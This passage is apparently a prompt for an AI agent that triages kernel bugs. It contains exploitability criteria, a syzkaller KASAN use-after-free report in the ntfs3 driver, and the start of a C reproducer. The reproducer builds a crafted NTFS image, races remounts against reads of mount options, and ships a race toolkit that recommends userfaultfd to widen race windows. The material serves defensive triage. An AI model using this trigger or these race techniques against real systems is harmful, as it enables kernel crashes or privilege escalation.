or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
==================================================================
==================================================================
BUG: KASAN: slab-use-after-free in ntfs_show_options+0x656/0x800 fs/ntfs3/super.c:762
Read of size 2 at addr ffff888030028d1c by task syz-executor377/6018
CPU: 0 UID: 0 PID: 6018 Comm: syz-executor377 Not tainted syzkaller #0 PREEMPT_{RT,(full)}
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
ntfs_show_options+0x656/0x800 fs/ntfs3/super.c:762
show_vfsmnt+0x637/0x780 fs/proc_namespace.c:129
seq_read_iter+0x8d6/0xcb0 fs/seq_file.c:273
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x59e/0xa90 fs/read_write.c:574
ksys_read+0x156/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f12f25c661e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f12ef560198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f12ef5616c0 RCX: 00007f12f25c661e
RDX: 0000000000001000 RSI: 00007f12ef560200 RDI: 0000000000000005
RBP: 00007f12f260b03e R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f12ef560200
R13: 0000000000000000 R14: 00007fff2ed6d880 R15: 00007fff2ed6d968
</TASK>
Allocated by task 6027:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__kmalloc_cache_noprof+0x3d2/0x6b0 mm/slub.c:5489
_kmalloc_noprof include/linux/slab.h:988 [inline]
_kzalloc_noprof include/linux/slab.h:1309 [inline]
ntfs_init_fs_context+0x55/0x570 fs/ntfs3/super.c:1862
alloc_fs_context+0x9a3/0xd00 fs/fs_context.c:295
do_remount fs/namespace.c:3392 [inline]
path_mount+0xc5e/0x1040 fs/namespace.c:4153
do_mount fs/namespace.c:4174 [inline]
__do_sys_mount fs/namespace.c:4390 [inline]
__se_sys_mount+0x31d/0x420 fs/namespace.c:4367
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 6026:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2677 [inline]
slab_free mm/slub.c:6377 [inline]
kfree+0x1c5/0x6c0 mm/slub.c:6692
put_fs_context+0x123/0xb00 fs/fs_context.c:498
do_remount fs/namespace.c:3419 [inline]
path_mount+0xef9/0x1040 fs/namespace.c:4153
do_mount fs/namespace.c:4174 [inline]
__do_sys_mount fs/namespace.c:4390 [inline]
__se_sys_mount+0x31d/0x420 fs/namespace.c:4367
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff888030028d00
which belongs to the cache kmalloc-32 of size 32
The buggy address is located 28 bytes inside of
freed 32-byte region [ffff888030028d00, ffff888030028d20)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x30028
flags: 0x80000000000000(node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000000 ffff88813ffb2780 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800400040 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 2774, tgid 2774 (kworker/u8:4), ts 16704250728, free_ts 0
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x262a/0x26a0 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
alloc_slab_page mm/slub.c:3266 [inline]
allocate_slab+0x79/0x5e0 mm/slub.c:3380
new_slab mm/slub.c:3426 [inline]
refill_objects+0x2d8/0x350 mm/slub.c:7310
refill_sheaf mm/slub.c:2804 [inline]
__pcs_replace_empty_main+0x330/0x690 mm/slub.c:4675
alloc_from_pcs mm/slub.c:4773 [inline]
slab_alloc_node mm/slub.c:4905 [inline]
__kmalloc_cache_noprof+0x468/0x6b0 mm/slub.c:5485
_kmalloc_noprof include/linux/slab.h:988 [inline]
slab_free_hook mm/slub.c:2629 [inline]
slab_free mm/slub.c:6377 [inline]
kmem_cache_free+0x156/0x6c0 mm/slub.c:6504
__fput_deferred+0x2df/0x3e0 fs/file_table.c:567
fput_close+0x11f/0x240 fs/file_table.c:629
path_openat+0x30d5/0x3850 fs/namei.c:4872
do_file_open+0x23e/0x4a0 fs/namei.c:4892
do_open_execat+0x12b/0x590 fs/exec.c:785
alloc_bprm+0x24/0x640 fs/exec.c:1431
class_bprm_constructor fs/exec.c:1497 [inline]
kernel_execve+0x85/0x9c0 fs/exec.c:1889
call_usermodehelper_exec_async+0x212/0x360 kernel/umh.c:109
page_owner free stack trace missing
Memory state around the buggy address:
ffff888030028c00: fa fb fb fb fc fc fc fc fa fb fb fb fc fc fc fc
ffff888030028c80: 00 00 00 fc fc fc fc fc fa fb fb fb fc fc fc fc
>ffff888030028d00: fa fb fb fb fc fc fc fc 00 00 04 fc fc fc fc fc
^
ffff888030028d80: 00 00 07 fc fc fc fc fc 00 00 07 fc fc fc fc fc
ffff888030028e00: 00 00 00 fc fc fc fc fc 00 00 00 fc fc fc fc fc
==================================================================
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#define _GNU_SOURCE
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <linux/loop.h>
#include <endian.h>
#include <sched.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/syscall.h>
#include <linux/memfd.h>
#ifndef SYS_memfd_create
#define SYS_memfd_create 319
#endif
static void init_mft_record(uint8_t *buf, uint32_t rno, uint16_t seq, uint16_t flags) {
memset(buf, 0, 1024);
memcpy(buf, "FILE", 4);
uint16_t fix_off = 0x2A, fix_num = 3, attr_off = 0x38;
*(uint16_t *)(buf + 0x04) = htole16(fix_off);
*(uint16_t *)(buf + 0x06) = htole16(fix_num);
*(uint16_t *)(buf + 0x10) = htole16(seq);
*(uint16_t *)(buf + 0x12) = htole16(1);
*(uint16_t *)(buf + 0x14) = htole16(attr_off);
*(uint16_t *)(buf + 0x16) = htole16(flags);
*(uint32_t *)(buf + 0x1C) = htole32(1024);
*(uint16_t *)(buf + 0x28) = htole16(0);
*(uint32_t *)(buf + 0x2C) = htole32(rno);
*(uint32_t *)(buf + attr_off) = htole32(0xFFFFFFFF);
*(uint32_t *)(buf + 0x18) = htole32(attr_off + 8);
}
static void add_resident_attr(uint8_t *buf, uint32_t type, const uint8_t *data, uint32_t data_size, uint16_t id, const char *name) {
uint32_t used = le32toh(*(uint32_t *)(buf + 0x18));
uint32_t attr_pos = used - 8;
uint8_t *attr_ptr = buf + attr_pos;
uint32_t name_len = name ? strlen(name) : 0;
uint32_t name_size = name_len * 2;
uint32_t header_size = 0x18;
if (name_len > 0) {
header_size = (0x18 + name_size + 7) & ~7;
}
uint32_t attr_size = header_size + ((data_size + 7) & ~7);
memset(attr_ptr, 0, attr_size);
*(uint32_t *)(attr_ptr + 0x00) = htole32(type);
*(uint32_t *)(attr_ptr + 0x04) = htole32(attr_size);
*(uint8_t *)(attr_ptr + 0x08) = 0;
*(uint8_t *)(attr_ptr + 0x09) = name_len;
*(uint16_t *)(attr_ptr + 0x0A) = htole16(name_len > 0 ? 0x18 : 0);
*(uint16_t *)(attr_ptr + 0x0E) = htole16(id);
*(uint32_t *)(attr_ptr + 0x10) = htole32(data_size);
*(uint16_t *)(attr_ptr + 0x14) = htole16(header_size);
if (name_len > 0) {
uint16_t *name_ptr = (uint16_t *)(attr_ptr + 0x18);
for (uint32_t i = 0; i < name_len; i++) {
name_ptr[i] = htole16(name[i]);
}
}
if (data && data_size > 0) memcpy(attr_ptr + header_size, data, data_size);
uint16_t next_id = le16toh(*(uint16_t *)(buf + 0x28));
if (id >= next_id) *(uint16_t *)(buf + 0x28) = htole16(id + 1);
*(uint32_t *)(buf + attr_pos + attr_size) = htole32(0xFFFFFFFF);
*(uint32_t *)(buf + 0x18) = htole32(attr_pos + attr_size + 8);
}
static void add_nonresident_attr(uint8_t *buf, uint32_t type, uint64_t alloc_size, uint64_t data_size, const uint8_t *run_list, uint32_t run_list_size, uint16_t id, const char *name) {
uint32_t used = le32toh(*(uint32_t *)(buf + 0x18));
uint32_t attr_pos = used - 8;
uint8_t *attr_ptr = buf + attr_pos;
uint32_t name_len = name ? strlen(name) : 0;
uint32_t name_size = name_len * 2;
uint32_t header_size = 0x40;
if (name_len > 0) {
header_size = (0x40 + name_size + 7) & ~7;
}
uint32_t attr_size = header_size + ((run_list_size + 7) & ~7);
memset(attr_ptr, 0, attr_size);
*(uint32_t *)(attr_ptr + 0x00) = htole32(type);
*(uint32_t *)(attr_ptr + 0x04) = htole32(attr_size);
*(uint8_t *)(attr_ptr + 0x08) = 1;
*(uint8_t *)(attr_ptr + 0x09) = name_len;
*(uint16_t *)(attr_ptr + 0x0A) = htole16(name_len > 0 ? 0x40 : 0);
*(uint16_t *)(attr_ptr + 0x0E) = htole16(id);
*(uint64_t *)(attr_ptr + 0x18) = htole64((alloc_size > 0) ? ((alloc_size / 4096) - 1) : 0);
*(uint16_t *)(attr_ptr + 0x20) = htole16(header_size);
*(uint64_t *)(attr_ptr + 0x28) = htole64(alloc_size);
*(uint64_t *)(attr_ptr + 0x30) = htole64(data_size);
*(uint64_t *)(attr_ptr + 0x38) = htole64(data_size);
if (name_len > 0) {
uint16_t *name_ptr = (uint16_t *)(attr_ptr + 0x40);
for (uint32_t i = 0; i < name_len; i++) {
name_ptr[i] = htole16(name[i]);
}
}
if (run_list && run_list_size > 0) memcpy(attr_ptr + header_size, run_list, run_list_size);
uint16_t next_id = le16toh(*(uint16_t *)(buf + 0x28));
if (id >= next_id) *(uint16_t *)(buf + 0x28) = htole16(id + 1);
*(uint32_t *)(buf + attr_pos + attr_size) = htole32(0xFFFFFFFF);
*(uint32_t *)(buf + 0x18) = htole32(attr_pos + attr_size + 8);
}
static void make_std_info(uint8_t *data, uint32_t fa) {
memset(data, 0, 48);
uint64_t nt_time = 116444736000000000ULL;
*(uint64_t *)(data + 0x00) = htole64(nt_time);
*(uint64_t *)(data + 0x08) = htole64(nt_time);
*(uint64_t *)(data + 0x10) = htole64(nt_time);
*(uint64_t *)(data + 0x18) = htole64(nt_time);
*(uint32_t *)(data + 0x20) = htole32(fa);
}
static int make_file_name(uint8_t *data, uint64_t parent_rno, uint16_t parent_seq, const char *name, uint32_t fa) {
memset(data, 0, 512);
*(uint32_t *)(data + 0x00) = htole32(parent_rno);
*(uint16_t *)(data + 0x04) = htole16(parent_seq);
uint64_t nt_time = 116444736000000000ULL;
*(uint64_t *)(data + 0x08) = htole64(nt_time);
*(uint64_t *)(data + 0x10) = htole64(nt_time);
*(uint64_t *)(data + 0x18) = htole64(nt_time);
*(uint64_t *)(data + 0x20) = htole64(nt_time);
*(uint32_t *)(data + 0x38) = htole32(fa);
int len = strlen(name);
*(uint8_t *)(data + 0x40) = len;
*(uint8_t *)(data + 0x41) = 3;
uint16_t *name_ptr = (uint16_t *)(data + 0x42);
for (int i = 0; i < len; i++) name_ptr[i] = htole16(name[i]);
return 0x42 + len * 2;
}
static void apply_fixups(uint8_t *buf) {
uint16_t fix_off = le16toh(*(uint16_t *)(buf + 0x04));
uint16_t fix_num = le16toh(*(uint16_t *)(buf + 0x06));
uint16_t sample = 1;
*(uint16_t *)(buf + fix_off) = htole16(sample);
for (int i = 0; i < fix_num - 1; i++) {
int sector_end_off = (i + 1) * 512 - 2;
uint16_t original = le16toh(*(uint16_t *)(buf + sector_end_off));
*(uint16_t *)(buf + fix_off + 2 + i * 2) = htole16(original);
*(uint16_t *)(buf + sector_end_off) = htole16(sample);
}
}
int write_minimal_ntfs(int fd) {
size_t image_size = 20481 * 512; // 10MB + 512 bytes
int res = ftruncate(fd, image_size);
if (res < 0) {
printf("[-] Failed to ftruncate: %s\n", strerror(errno));
exit(1);
}
printf("[+] ftruncate successful.\n");
uint8_t *image = calloc(1, image_size);
if (!image) {
printf("[-] Failed to calloc\n");
exit(1);
}
uint8_t *boot = image + 0;
boot[0] = 0xEB; boot[1] = 0x52; boot[2] = 0x90;
memcpy(boot + 3, "NTFS ", 8);
*(uint16_t *)(boot + 0x0B) = htole16(512);
boot[0x0D] = 8; boot[0x15] = 0xF8;
*(uint16_t *)(boot + 0x18) = htole16(63);
*(uint16_t *)(boot + 0x1A) = htole16(255);
boot[0x24] = 0x80; boot[0x26] = 0x80;
*(uint64_t *)(boot + 0x28) = htole64(20480);
*(uint64_t *)(boot + 0x30) = htole64(4);
*(uint64_t *)(boot + 0x38) = htole64(8);
boot[0x40] = 0xF6; boot[0x44] = 0xF4;
*(uint64_t *)(boot + 0x48) = htole64(0x123456789ABCDEF0ULL);
boot[510] = 0x55; boot[511] = 0xAA;
memcpy(image + image_size - 512, boot, 512);
uint8_t std_data[48], name_data[512];
int name_len;
uint8_t *mft = image + 4 * 4096;
uint8_t *r0 = mft + 0 * 1024;
init_mft_record(r0, 0, 1, 1);
make_std_info(std_data, 0x06); add_resident_attr(r0, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$MFT", 0x06); add_resident_attr(r0, 0x30, name_data, name_len, 1, NULL);
uint8_t r0_data_run[] = {0x11, 0x04, 0x04, 0x00}; add_nonresident_attr(r0, 0x80, 16384, 16384, r0_data_run, sizeof(r0_data_run), 2, NULL);
uint8_t r0_bmp_run[] = {0x11, 0x01, 0x09, 0x00}; add_nonresident_attr(r0, 0xB0, 4096, 8, r0_bmp_run, sizeof(r0_bmp_run), 3, NULL);
apply_fixups(r0);
uint8_t *r1 = mft + 1 * 1024;
init_mft_record(r1, 1, 1, 1);
make_std_info(std_data, 0x06); add_resident_attr(r1, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$MFTMirr", 0x06); add_resident_attr(r1, 0x30, name_data, name_len, 1, NULL);
uint8_t r1_data_run[] = {0x11, 0x01, 0x08, 0x00}; add_nonresident_attr(r1, 0x80, 4096, 4096, r1_data_run, sizeof(r1_data_run), 2, NULL);
apply_fixups(r1);
uint8_t *r2 = mft + 2 * 1024;
init_mft_record(r2, 2, 2, 1);
make_std_info(std_data, 0x06); add_resident_attr(r2, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$LogFile", 0x06); add_resident_attr(r2, 0x30, name_data, name_len, 1, NULL);
uint8_t r2_data_run[] = {0x11, 0x40, 0x20, 0x00}; add_nonresident_attr(r2, 0x80, 262144, 262144, r2_data_run, sizeof(r2_data_run), 2, NULL);
apply_fixups(r2);
uint8_t *r3 = mft + 3 * 1024;
init_mft_record(r3, 3, 3, 1);
make_std_info(std_data, 0x06); add_resident_attr(r3, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Volume", 0x06); add_resident_attr(r3, 0x30, name_data, name_len, 1, NULL);
uint8_t vol_info[] = {0,0,0,0,0,0,0,0, 1, 2, 0, 0}; add_resident_attr(r3, 0x70, vol_info, sizeof(vol_info), 2, NULL);
add_resident_attr(r3, 0x80, NULL, 0, 3, NULL);
apply_fixups(r3);
uint8_t *r4 = mft + 4 * 1024;
init_mft_record(r4, 4, 4, 1);
make_std_info(std_data, 0x06); add_resident_attr(r4, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$AttrDef", 0x06); add_resident_attr(r4, 0x30, name_data, name_len, 1, NULL);
uint8_t attr_def_data[320]; memset(attr_def_data, 0, 320);
*(uint32_t *)(attr_def_data + 0x80) = htole32(0x10);
*(uint64_t *)(attr_def_data + 0x98) = htole64(0x30);
*(uint32_t *)(attr_def_data + 160 + 0x80) = htole32(0xE0);
*(uint64_t *)(attr_def_data + 160 + 0x98) = htole64(0x10000);
add_resident_attr(r4, 0x80, attr_def_data, 320, 2, NULL);
apply_fixups(r4);
uint8_t *r5 = mft + 5 * 1024;
init_mft_record(r5, 5, 5, 3);
make_std_info(std_data, 0x10); add_resident_attr(r5, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, ".", 0x10); add_resident_attr(r5, 0x30, name_data, name_len, 1, NULL);
uint8_t root_idx[288]; memset(root_idx, 0, 288);
*(uint32_t *)(root_idx + 0x00) = htole32(0x30);
*(uint32_t *)(root_idx + 0x04) = htole32(1);
*(uint32_t *)(root_idx + 0x08) = htole32(4096);
root_idx[0x0C] = 1;
*(uint32_t *)(root_idx + 0x10) = htole32(16);
*(uint32_t *)(root_idx + 0x14) = htole32(32);
*(uint32_t *)(root_idx + 0x18) = htole32(272);
*(uint16_t *)(root_idx + 0x28) = htole16(16);
*(uint16_t *)(root_idx + 0x2C) = htole16(2);
add_resident_attr(r5, 0x90, root_idx, 288, 2, "$I30");
apply_fixups(r5);
uint8_t *r6 = mft + 6 * 1024;
init_mft_record(r6, 6, 6, 1);
make_std_info(std_data, 0x06); add_resident_attr(r6, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Bitmap", 0x06); add_resident_attr(r6, 0x30, name_data, name_len, 1, NULL);
uint8_t r6_data_run[] = {0x11, 0x01, 0x0A, 0x00}; add_nonresident_attr(r6, 0x80, 4096, 320, r6_data_run, sizeof(r6_data_run), 2, NULL);
apply_fixups(r6);
uint8_t *r7 = mft + 7 * 1024;
init_mft_record(r7, 7, 7, 1);
make_std_info(std_data, 0x06); add_resident_attr(r7, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Boot", 0x06); add_resident_attr(r7, 0x30, name_data, name_len, 1, NULL);
uint8_t r7_data_run[] = {0x11, 0x01, 0x00, 0x00}; add_nonresident_attr(r7, 0x80, 4096, 4096, r7_data_run, sizeof(r7_data_run), 2, NULL);
apply_fixups(r7);
uint8_t *r8 = mft + 8 * 1024;
init_mft_record(r8, 8, 8, 1);
make_std_info(std_data, 0x06); add_resident_attr(r8, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$BadClus", 0x06); add_resident_attr(r8, 0x30, name_data, name_len, 1, NULL);
uint8_t r8_data_run[] = {0x01, 0x01, 0x00};
add_nonresident_attr(r8, 0x80, 4096, 4096, r8_data_run, sizeof(r8_data_run), 2, NULL);
apply_fixups(r8);
uint8_t *r9 = mft + 9 * 1024;
init_mft_record(r9, 9, 9, 1);
make_std_info(std_data, 0x06); add_resident_attr(r9, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$Secure", 0x06); add_resident_attr(r9, 0x30, name_data, name_len, 1, NULL);
add_resident_attr(r9, 0x80, NULL, 0, 2, NULL);
apply_fixups(r9);
uint8_t *r10 = mft + 10 * 1024;
init_mft_record(r10, 10, 10, 1);
make_std_info(std_data, 0x06); add_resident_attr(r10, 0x10, std_data, 48, 0, NULL);
name_len = make_file_name(name_data, 5, 5, "$UpCase", 0x06); add_resident_attr(r10, 0x30, name_data, name_len, 1, NULL);
uint8_t r10_data_run[] = {0x11, 0x20, 0x60, 0x00}; add_nonresident_attr(r10, 0x80, 131072, 131072, r10_data_run, sizeof(r10_data_run), 2, NULL);
apply_fixups(r10);
for (int r = 11; r < 16; r++) {
uint8_t *rx = mft + r * 1024;
init_mft_record(rx, r, r, 0);
apply_fixups(rx);
}
memcpy(image + 8 * 4096, mft, 4 * 1024);
uint8_t *mft_bmp = image + 9 * 4096;
mft_bmp[0] = 0xFF; mft_bmp[1] = 0x07;
uint8_t *vol_bitmap = image + 10 * 4096;
vol_bitmap[0] = 0xF1; vol_bitmap[1] = 0x07;
for (int i = 4; i < 12; i++) vol_bitmap[i] = 0xFF;
for (int i = 12; i < 16; i++) vol_bitmap[i] = 0xFF;
memset(image + 32 * 4096, 0xFF, 64 * 4096);
uint16_t *upcase = (uint16_t *)(image + 96 * 4096);
for (int i = 0; i < 65536; i++) {
uint16_t c = i;
if (c >= 'a' && c <= 'z') c -= 32;
upcase[i] = htole16(c);
}
off_t off = lseek(fd, 0, SEEK_SET);
if (off == (off_t)-1) {
printf("[-] Failed to lseek: %s\n", strerror(errno));
free(image);
exit(1);
}
printf("[+] lseek successful.\n");
ssize_t written = 0;
size_t total_written = 0;
while (total_written < image_size) {
written = write(fd, image + total_written, image_size - total_written);
if (written < 0) {
printf("[-] Failed to write: %s\n", strerror(errno));
free(image);
exit(1);
}
total_written += written;
}
printf("[+] write successful.\n");
free(image);
return 0;
}
#define NUM_READERS 8
#define NUM_REMOUNTERS 8
char loop_name[64];
volatile int stop = 0;
void *reader_thread(void *arg) {
int idx = (int)(intptr_t)arg;
int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
if (num_cpus > 0) {
